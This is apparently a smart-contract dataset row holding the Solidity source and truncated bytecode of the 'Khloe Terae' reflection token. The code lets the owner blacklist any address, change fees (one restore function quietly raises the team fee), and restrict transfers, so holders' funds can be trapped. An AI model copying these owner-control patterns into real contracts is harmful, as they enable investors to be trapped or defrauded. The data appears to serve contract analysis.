address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xF2aaaBD36E996522Df25c5B5f3D114bd062d1664
// Khloe Terae Official Token ($Khloe) // _ ___ _ _______ // | |/ / | | | |__ __| // | ' /| |__ | | ___ ___ | | ___ _ __ __ _ ___ // | < | '_ \| |/ _ \ / _ \ | |/ _ \ '__/ _` |/ _ \ // | . \| | | | | (_) | __/ | | __/ | | (_| | __/ // |_|\_\_| |_|_|\___/ \___| |_|\___|_| \__,_|\___| // Telegram: https://t.me/khloeteraetoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KhloeTeraeToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Khloe Terae"; string private constant _symbol = "Khloe \xF0\x9F\x91\xB8"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 10; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101015760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461032b578063a9059cbb14610356578063d543dbeb14610393578063dd62ed3e146103bc578063ed995307146103f957610108565b806370a0823114610283578063715018a6146102c05780637b5b1157146102d75780638da5cb5b1461030057610108565b806323b872dd116100d157806323b872dd146101c9578063313ce567146102065780635932ead1146102315780636b9990531461025a57610108565b8062b8cf2a1461010d57806306fdde0314610136578063095ea7b31461016157806318160ddd1461019e57610108565b3661010857005b600080fd5b34801561011957600080fd5b50610134600480360381019061012f9190612a3f565b610410565b005b34801561014257600080fd5b5061014b610560565b6040516101589190612f03565b60405180910390f35b34801561016d57600080fd5b5061018860048036038101906101839190612a03565b61059d565b6040516101959190612ee8565b60405180910390f35b3480156101aa57600080fd5b506101b36105bb565b6040516101c091906130c5565b60405180910390f35b3480156101d557600080fd5b506101f060048036038101906101eb91906129b4565b6105cc565b6040516101fd9190612ee8565b60405180910390f35b34801561021257600080fd5b5061021b6106a5565b604051610228919061313a565b60405180910390f35b34801561023d57600080fd5b5061025860048036038101906102539190612a80565b6106ae565b005b34801561026657600080fd5b50610281600480360381019061027c9190612926565b610760565b005b34801561028f57600080fd5b506102aa60048036038101906102a59190612926565b610850565b6040516102b791906130c5565b60405180910390f35b3480156102cc57600080fd5b506102d56108a1565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190612ad2565b6109f4565b005b34801561030c57600080fd5b50610315610ad6565b6040516103229190612e1a565b60405180910390f35b34801561033757600080fd5b50610340610aff565b60405161034d9190612f03565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612a03565b610b3c565b60405161038a9190612ee8565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612ad2565b610b5a565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612978565b610ca3565b6040516103f091906130c5565b60405180910390f35b34801561040557600080fd5b5061040e610d2a565b005b610418611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c90613005565b60405180910390fd5b60005b815181101561055c576001600a60008484815181106104f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610554906133db565b9150506104a8565b5050565b60606040518060400160405280600b81526020017f4b686c6f65205465726165000000000000000000000000000000000000000000815250905090565b60006105b16105aa611296565b848461129e565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105d9848484611469565b61069a846105e5611296565b6106958560405180606001604052806028815260200161382760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064b611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c359092919063ffffffff16565b61129e565b600190509392505050565b60006009905090565b6106b6611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90613005565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610768611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec90613005565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061089a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c99565b9050919050565b6108a9611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90613005565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109fc611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613005565b60405180910390fd5b60008111610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac390612fa5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b686c6f6520f09f91b800000000000000000000000000000000000000000000815250905090565b6000610b50610b49611296565b8484611469565b6001905092915050565b610b62611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690613005565b60405180910390fd5b60008111610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612fc5565b60405180910390fd5b610c616064610c5383683635c9adc5dea00000611d0790919063ffffffff16565b611d8290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610c9891906130c5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d32611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690613005565b60405180910390fd5b600f60149054906101000a900460ff1615610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690613085565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d919061294f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7f57600080fd5b505afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb7919061294f565b6040518363ffffffff1660e01b8152600401610fd4929190612e35565b602060405180830381600087803b158015610fee57600080fd5b505af1158015611002573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611026919061294f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110af30610850565b6000806110ba610ad6565b426040518863ffffffff1660e01b81526004016110dc96959493929190612e87565b6060604051808303818588803b1580156110f557600080fd5b505af1158015611109573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112e9190612afb565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600881905550600a600981905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611240929190612e5e565b602060405180830381600087803b15801561125a57600080fd5b505af115801561126e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112929190612aa9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590613065565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612f65565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145c91906130c5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090613045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612f25565b60405180910390fd5b6000811161158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390613025565b60405180910390fd5b611594610ad6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160257506115d2610ad6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7257600f60179054906101000a900460ff1615611835573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116de5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117385750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177e611296565b73ffffffffffffffffffffffffffffffffffffffff1614806117f45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117dc611296565b73ffffffffffffffffffffffffffffffffffffffff16145b611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a906130a5565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611ab85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b601054811115611a5a57600080fd5b6001601154611a699190613282565b42611a7491906131fb565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac330610850565b9050600f60159054906101000a900460ff16158015611b305750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b485750600f60169054906101000a900460ff165b15611b7057611b5681611dcc565b60004790506000811115611b6e57611b6d476120c6565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2357600090505b611c2f848484846121c1565b50505050565b6000838311158290611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749190612f03565b60405180910390fd5b5060008385611c8c91906132dc565b9050809150509392505050565b6000600654821115611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790612f45565b60405180910390fd5b6000611cea6121ee565b9050611cff8184611d8290919063ffffffff16565b915050919050565b600080831415611d1a5760009050611d7c565b60008284611d289190613282565b9050828482611d379190613251565b14611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e90612fe5565b60405180910390fd5b809150505b92915050565b6000611dc483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612219565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e585781602001602082028036833780820191505090505b5090503081600081518110611e96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3857600080fd5b505afa158015611f4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f70919061294f565b81600181518110611faa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061201130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120759594939291906130e0565b600060405180830381600087803b15801561208f57600080fd5b505af11580156120a3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612116600284611d8290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612141573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612192600284611d8290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121bd573d6000803e3d6000fd5b5050565b806121cf576121ce61227c565b5b6121da8484846122ad565b806121e8576121e7612478565b5b50505050565b60008060006121fb61248a565b915091506122128183611d8290919063ffffffff16565b9250505090565b60008083118290612260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122579190612f03565b60405180910390fd5b506000838561226f9190613251565b9050809150509392505050565b600060085414801561229057506000600954145b1561229a576122ab565b600060088190555060006009819055505b565b6000806000806000806122bf876124ec565b95509550955095509550955061231d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fe816125fc565b61240884836126b9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246591906130c5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124c0683635c9adc5dea00000600654611d8290919063ffffffff16565b8210156124df57600654683635c9adc5dea000009350935050506124e8565b81819350935050505b9091565b60008060008060008060008060006125098a6008546009546126f3565b92509250925060006125196121ee565b9050600080600061252c8e878787612789565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c35565b905092915050565b60008082846125ad91906131fb565b9050838110156125f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e990612f85565b60405180910390fd5b8091505092915050565b60006126066121ee565b9050600061261d8284611d0790919063ffffffff16565b905061267181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ce8260065461255490919063ffffffff16565b6006819055506126e98160075461259e90919063ffffffff16565b6007819055505050565b60008060008061271f6064612711888a611d0790919063ffffffff16565b611d8290919063ffffffff16565b90506000612749606461273b888b611d0790919063ffffffff16565b611d8290919063ffffffff16565b9050600061277282612764858c61255490919063ffffffff16565b61255490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a28589611d0790919063ffffffff16565b905060006127b98689611d0790919063ffffffff16565b905060006127d08789611d0790919063ffffffff16565b905060006127f9826127eb858761255490919063ffffffff16565b61255490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128256128208461317a565b613155565b9050808382526020820190508285602086028201111561284457600080fd5b60005b85811015612874578161285a888261287e565b845260208401935060208301925050600181019050612847565b5050509392505050565b60008135905061288d816137e1565b92915050565b6000815190506128a2816137e1565b92915050565b600082601f8301126128b957600080fd5b81356128c9848260208601612812565b91505092915050565b6000813590506128e1816137f8565b92915050565b6000815190506128f6816137f8565b92915050565b60008135905061290b8161380f565b92915050565b6000815190506129208161380f565b92915050565b60006020828403121561293857600080fd5b60006129468482850161287e565b91505092915050565b60006020828403121561296157600080fd5b60006